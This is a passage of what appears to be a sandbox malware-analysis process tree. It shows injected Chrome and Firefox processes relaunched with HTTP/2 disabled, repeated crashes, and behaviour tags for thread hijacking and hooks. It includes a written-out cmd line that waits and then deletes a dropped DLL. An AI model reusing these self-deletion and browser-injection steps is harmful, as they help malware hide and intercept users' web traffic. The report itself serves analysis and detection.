                                                                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEE49.tmp" "c:\Users\Admin\AppData\Local\Temp\1zkrw51f\CSC9442C6E6808743448AF586E751D9D584.TMP"
                                                                    5⤵
                                                                      PID:1940
                                                              • C:\Windows\System32\cmd.exe
                                                                "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\1E94.dll"
                                                                2⤵
                                                                • Suspicious use of SetThreadContext
                                                                • Suspicious behavior: MapViewOfSection
                                                                PID:3624
                                                                • C:\Windows\system32\PING.EXE
                                                                  ping localhost -n 5
                                                                  3⤵
                                                                  • Runs ping.exe
                                                                  • Suspicious behavior: CmdExeWriteProcessMemorySpam
                                                                  PID:1644
                                                              • C:\Windows\syswow64\cmd.exe
                                                                "C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,
                                                                2⤵
                                                                  PID:3548
                                                                  • C:\Windows\System32\Conhost.exe
                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                    3⤵
                                                                      PID:3092
                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --no-default-browser-check --silent-launch --disable-backgrounding-occluded-windows --disable-background-timer-throttling --ran-launcher --profile-directory="Default" --use-spdy=off --disable-http2
                                                                    2⤵
                                                                    • Suspicious use of SetThreadContext
                                                                    • Suspicious behavior: MapViewOfSection
                                                                    PID:3796
                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x170,0x174,0x178,0x14c,0x17c,0x7ffc48f64f50,0x7ffc48f64f60,0x7ffc48f64f70 --use-spdy=off --disable-http2
                                                                      3⤵
                                                                        PID:4924
                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1832,5916428292468241317,6528834815329080312,131072 --lang=en-US --service-sandbox-type=network --disable-http2 --mojo-platform-channel-handle=1840 /prefetch:8
                                                                        3⤵
                                                                          PID:1292
                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --no-default-browser-check --silent-launch --disable-backgrounding-occluded-windows --disable-background-timer-throttling --ran-launcher --profile-directory="Default" --use-spdy=off --disable-http2
                                                                        2⤵
                                                                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                        • Suspicious use of SetThreadContext
                                                                        • Enumerates system info in registry
                                                                        • Suspicious behavior: MapViewOfSection
                                                                        • Suspicious use of SetWindowsHookEx
                                                                        PID:4920
                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x170,0x174,0x178,0x14c,0x17c,0x7ffc48f64f50,0x7ffc48f64f60,0x7ffc48f64f70 --use-spdy=off --disable-http2
                                                                          3⤵
                                                                            PID:4572
                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1676,10133999452933759171,14369231269822281646,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1788 /prefetch:2
                                                                            3⤵
                                                                              PID:772
                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1676,10133999452933759171,14369231269822281646,131072 --lang=en-US --service-sandbox-type=network --disable-http2 --mojo-platform-channel-handle=2396 /prefetch:8
                                                                              3⤵
                                                                                PID:4964
                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1676,10133999452933759171,14369231269822281646,131072 --lang=en-US --service-sandbox-type=utility --disable-http2 --mojo-platform-channel-handle=2432 /prefetch:8
                                                                                3⤵
                                                                                  PID:1680
                                                                                • C:\Windows\system32\WerFault.exe
                                                                                  C:\Windows\system32\WerFault.exe -u -p 4920 -s 3672
                                                                                  3⤵
                                                                                  • Program crash
                                                                                  PID:988
                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --no-default-browser-check --silent-launch --disable-backgrounding-occluded-windows --disable-background-timer-throttling --ran-launcher --profile-directory="Default" --use-spdy=off --disable-http2
                                                                                2⤵
                                                                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                • Suspicious use of SetThreadContext
                                                                                • Enumerates system info in registry
                                                                                • Suspicious behavior: MapViewOfSection
                                                                                • Suspicious use of SetWindowsHookEx
                                                                                PID:312
                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x170,0x174,0x178,0x14c,0x17c,0x7ffc48f64f50,0x7ffc48f64f60,0x7ffc48f64f70 --use-spdy=off --disable-http2
                                                                                  3⤵
                                                                                    PID:2540
                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1896,15067707120317754874,14403574051697968438,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1928 /prefetch:2
                                                                                    3⤵
                                                                                    • Drops file in Program Files directory
                                                                                    PID:536
                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1896,15067707120317754874,14403574051697968438,131072 --lang=en-US --service-sandbox-type=network --disable-http2 --mojo-platform-channel-handle=1984 /prefetch:8
                                                                                    3⤵
                                                                                      PID:4144
                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1896,15067707120317754874,14403574051697968438,131072 --lang=en-US --service-sandbox-type=utility --disable-http2 --mojo-platform-channel-handle=2156 /prefetch:8
                                                                                      3⤵
                                                                                        PID:964
                                                                                      • C:\Windows\system32\WerFault.exe
                                                                                        C:\Windows\system32\WerFault.exe -u -p 312 -s 3676
                                                                                        3⤵
                                                                                        • Program crash
                                                                                        PID:3148
                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --no-default-browser-check --silent-launch --disable-backgrounding-occluded-windows --disable-background-timer-throttling --ran-launcher --profile-directory="Default" --use-spdy=off --disable-http2
                                                                                      2⤵
                                                                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                      • Suspicious use of SetThreadContext
                                                                                      • Enumerates system info in registry
                                                                                      • Suspicious behavior: MapViewOfSection
                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                      PID:2888
                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x170,0x174,0x178,0x14c,0x17c,0x7ffc48f64f50,0x7ffc48f64f60,0x7ffc48f64f70 --use-spdy=off --disable-http2
                                                                                        3⤵
                                                                                          PID:4136
                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1812,2442968629957443027,12529796435961358032,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1956 /prefetch:2
                                                                                          3⤵
                                                                                            PID:2432
                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1812,2442968629957443027,12529796435961358032,131072 --lang=en-US --service-sandbox-type=network --disable-http2 --mojo-platform-channel-handle=2008 /prefetch:8
                                                                                            3⤵
                                                                                              PID:1708
                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1812,2442968629957443027,12529796435961358032,131072 --lang=en-US --service-sandbox-type=utility --disable-http2 --mojo-platform-channel-handle=2428 /prefetch:8
                                                                                              3⤵
                                                                                              • Drops file in Program Files directory
                                                                                              PID:2760
                                                                                            • C:\Windows\system32\WerFault.exe
                                                                                              C:\Windows\system32\WerFault.exe -u -p 2888 -s 3632
                                                                                              3⤵
                                                                                              • Program crash
                                                                                              PID:3756
                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --no-default-browser-check --silent-launch --disable-backgrounding-occluded-windows --disable-background-timer-throttling --ran-launcher --profile-directory="Default" --use-spdy=off --disable-http2
                                                                                            2⤵
                                                                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                            • Suspicious use of SetThreadContext
                                                                                            • Enumerates system info in registry
                                                                                            • Suspicious behavior: MapViewOfSection
                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                            PID:3032
                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x170,0x174,0x178,0x14c,0x17c,0x7ffc48f64f50,0x7ffc48f64f60,0x7ffc48f64f70 --use-spdy=off --disable-http2
                                                                                              3⤵
                                                                                                PID:2700
                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1956,2607790011080033059,13535246743801750127,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1964 /prefetch:2
                                                                                                3⤵
                                                                                                • Drops file in Program Files directory
                                                                                                PID:3820
                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1956,2607790011080033059,13535246743801750127,131072 --lang=en-US --service-sandbox-type=network --disable-http2 --mojo-platform-channel-handle=2012 /prefetch:8
                                                                                                3⤵
                                                                                                  PID:3624
                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1956,2607790011080033059,13535246743801750127,131072 --lang=en-US --service-sandbox-type=utility --disable-http2 --mojo-platform-channel-handle=2596 /prefetch:8
                                                                                                  3⤵
                                                                                                  • Drops file in Program Files directory
                                                                                                  PID:2132
                                                                                                • C:\Windows\system32\WerFault.exe
                                                                                                  C:\Windows\system32\WerFault.exe -u -p 3032 -s 3656
                                                                                                  3⤵
                                                                                                  • Program crash
                                                                                                  PID:3044
                                                                                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                "C:\Program Files\Mozilla Firefox\firefox.exe"
                                                                                                2⤵
                                                                                                • Executes dropped EXE
                                                                                                • Suspicious use of SetThreadContext
                                                                                                • Suspicious behavior: MapViewOfSection
                                                                                                PID:3744
                                                                                                • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                  "C:\Program Files\Mozilla Firefox\firefox.exe"
                                                                                                  3⤵
                                                                                                  • Executes dropped EXE
                                                                                                  • Checks computer location settings
                                                                                                  • Checks whether UAC is enabled
                                                                                                  • Suspicious use of SetThreadContext
                                                                                                  • Suspicious behavior: MapViewOfSection
                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                  PID:1296
                                                                                                  • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1296.0.568878528\1837039900" -parentBuildID 20200403170909 -prefsHandle 1780 -prefMapHandle 1772 -prefsLen 1 -prefMapSize 219940 -appdir "C:\Program Files\Mozilla Firefox\browser" - 1296 "\\.\pipe\gecko-crash-server-pipe.1296" 1880 gpu
                                                                                                    4⤵
                                                                                                    • Executes dropped EXE
                                                                                                    PID:3560
                                                                                                  • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1296.3.1534111524\126173068" -childID 1 -isForBrowser -prefsHandle 2652 -prefMapHandle 2464 -prefsLen 112 -prefMapSize 219940 -parentBuildID 20200403170909 -appdir "C:\Program Files\Mozilla Firefox\browser" - 1296 "\\.\pipe\gecko-crash-server-pipe.1296" 2572 tab
                                                                                                    4⤵
                                                                                                    • Executes dropped EXE
                                                                                                    • Checks computer location settings
                                                                                                    PID:3784
                                                                                                  • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1296.13.1553039223\837092590" -childID 2 -isForBrowser -prefsHandle 3192 -prefMapHandle 3208 -prefsLen 6894 -prefMapSize 219940 -parentBuildID 20200403170909 -appdir "C:\Program Files\Mozilla Firefox\browser" - 1296 "\\.\pipe\gecko-crash-server-pipe.1296" 3164 tab
                                                                                                    4⤵
                                                                                                    • Executes dropped EXE
                                                                                                    PID:4828
                                                                                                  • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                    "C:\Program Files\Mozilla Firefox\firefox.exe"
                                                                                                    4⤵
                                                                                                    • Executes dropped EXE
                                                                                                    PID:4884
                                                                                                    • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                      "C:\Program Files\Mozilla Firefox\firefox.exe"
                                                                                                      5⤵
                                                                                                      • Executes dropped EXE
                                                                                                      • Checks computer location settings
                                                                                                      • Checks whether UAC is enabled
                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                      PID:4136
                                                                                                      • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4136.0.473348515\1190173688" -parentBuildID 20200403170909 -prefsHandle 1684 -prefMapHandle 1676 -prefsLen 1 -prefMapSize 214136 -appdir "C:\Program Files\Mozilla Firefox\browser" - 4136 "\\.\pipe\gecko-crash-server-pipe.4136" 1768 gpu
                                                                                                        6⤵
                                                                                                          PID:516
                                                                                                        • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                          "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4136.6.365270797\1890029038" -childID 1 -isForBrowser -prefsHandle 5168 -prefMapHandle 5164 -prefsLen 3142 -prefMapSize 214136 -parentBuildID 20200403170909 -appdir "C:\Program Files\Mozilla Firefox\browser" - 4136 "\\.\pipe\gecko-crash-server-pipe.4136" 5180 tab
                                                                                                          6⤵
                                                                                                          • Checks computer location settings
                                                                                                          PID:5400
                                                                                                        • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                          "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4136.13.2125747834\1404122154" -childID 2 -isForBrowser -prefsHandle 3500 -prefMapHandle 3496 -prefsLen 3348 -prefMapSize 214136 -parentBuildID 20200403170909 -appdir "C:\Program Files\Mozilla Firefox\browser" - 4136 "\\.\pipe\gecko-crash-server-pipe.4136" 3464 tab
                                                                                                          6⤵
                                                                                                            PID:5488
                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --no-default-browser-check --silent-launch --disable-backgrounding-occluded-windows --disable-background-timer-throttling --ran-launcher --profile-directory="Default" --use-spdy=off --disable-http2
                                                                                                    2⤵
                                                                                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                    • Suspicious use of SetThreadContext
                                                                                                    • Drops file in Program Files directory
                                                                                                    • Enumerates system info in registry
                                                                                                    • Suspicious behavior: MapViewOfSection
                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                    PID:3156
                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x170,0x174,0x178,0x14c,0x17c,0x7ffc48f64f50,0x7ffc48f64f60,0x7ffc48f64f70 --use-spdy=off --disable-http2
                                                                                                      3⤵
                                                                                                        PID:4672
                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1856,9952132075947552626,12946609489217481395,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1868 /prefetch:2
                                                                                                        3⤵
                                                                                                        • Drops file in Program Files directory
                                                                                                        PID:3512
                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1856,9952132075947552626,12946609489217481395,131072 --lang=en-US --service-sandbox-type=network --disable-http2 --mojo-platform-channel-handle=1916 /prefetch:8
                                                                                                        3⤵
                                                                                                          PID:4884
                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1856,9952132075947552626,12946609489217481395,131072 --lang=en-US --service-sandbox-type=utility --disable-http2 --mojo-platform-channel-handle=2460 /prefetch:8
                                                                                                          3⤵
                                                                                                          • Drops file in Program Files directory
                                                                                                          PID:4736
                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1856,9952132075947552626,12946609489217481395,131072 --lang=en-US --service-sandbox-type=none --disable-http2 --mojo-platform-channel-handle=3480 /prefetch:8
                                                                                                          3⤵
                                                                                                            PID:2232
                                                                                                          • C:\Windows\system32\WerFault.exe
                                                                                                            C:\Windows\system32\WerFault.exe -u -p 3156 -s 3744
                                                                                                            3⤵
                                                                                                            • Program crash
                                                                                                            PID:1292
                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --no-default-browser-check --silent-launch --disable-backgrounding-occluded-windows --disable-background-timer-throttling --ran-launcher --profile-directory="Default" --use-spdy=off --disable-http2
                                                                                                          2⤵
                                                                                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                          • Drops file in Program Files directory
                                                                                                          • Enumerates system info in registry
                                                                                                          • Suspicious behavior: MapViewOfSection
                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                          PID:3948
                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x170,0x174,0x178,0x14c,0x17c,0x7ffc48f64f50,0x7ffc48f64f60,0x7ffc48f64f70 --use-spdy=off --disable-http2
                                                                                                            3⤵
                                                                                                              PID:5024
                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1832,9928240779362796520,8886325972861514482,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1844 /prefetch:2
                                                                                                              3⤵
                                                                                                                PID:1488
                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1832,9928240779362796520,8886325972861514482,131072 --lang=en-US --service-sandbox-type=network --disable-http2 --mojo-platform-channel-handle=1908 /prefetch:8
                                                                                                                3⤵
                                                                                                                  PID:4500
                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1832,9928240779362796520,8886325972861514482,131072 --lang=en-US --service-sandbox-type=utility --disable-http2 --mojo-platform-channel-handle=2084 /prefetch:8
                                                                                                                  3⤵
                                                                                                                    PID:1708
                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1832,9928240779362796520,8886325972861514482,131072 --lang=en-US --service-sandbox-type=utility --disable-http2 --mojo-platform-channel-handle=3464 /prefetch:8
                                                                                                                    3⤵
                                                                                                                    • Drops file in Program Files directory
                                                                                                                    PID:380
                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1832,9928240779362796520,8886325972861514482,131072 --lang=en-US --service-sandbox-type=utility --disable-http2 --mojo-platform-channel-handle=3836 /prefetch:8
                                                                                                                    3⤵
                                                                                                                    • Drops file in Program Files directory
                                                                                                                    PID:4004
                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1832,9928240779362796520,8886325972861514482,131072 --lang=en-US --service-sandbox-type=none --disable-http2 --mojo-platform-channel-handle=3824 /prefetch:8
                                                                                                                    3⤵
                                                                                                                    • Drops file in Program Files directory
                                                                                                                    PID:2232
                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1832,9928240779362796520,8886325972861514482,131072 --lang=en-US --service-sandbox-type=utility --disable-http2 --mojo-platform-channel-handle=4012 /prefetch:8
                                                                                                                    3⤵
                                                                                                                      PID:1796
                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1832,9928240779362796520,8886325972861514482,131072 --lang=en-US --service-sandbox-type=utility --disable-http2 --mojo-platform-channel-handle=1900 /prefetch:8
                                                                                                                      3⤵
                                                                                                                        PID:2384
                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1832,9928240779362796520,8886325972861514482,131072 --lang=en-US --service-sandbox-type=utility --disable-http2 --mojo-platform-channel-handle=4140 /prefetch:8
                                                                                                                        3⤵
                                                                                                                        • Drops file in Program Files directory
                                                                                                                        PID:2172
                                                                                                                      • C:\Windows\system32\WerFault.exe
                                                                                                                        C:\Windows\system32\WerFault.exe -u -p 3948 -s 4472
                                                                                                                        3⤵
                                                                                                                        • Program crash
                                                                                                                        PID:2728
                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --no-default-browser-check --silent-launch --disable-backgrounding-occluded-windows --disable-background-timer-throttling --ran-launcher --profile-directory="Default" --use-spdy=off --disable-http2
                                                                                                                      2⤵
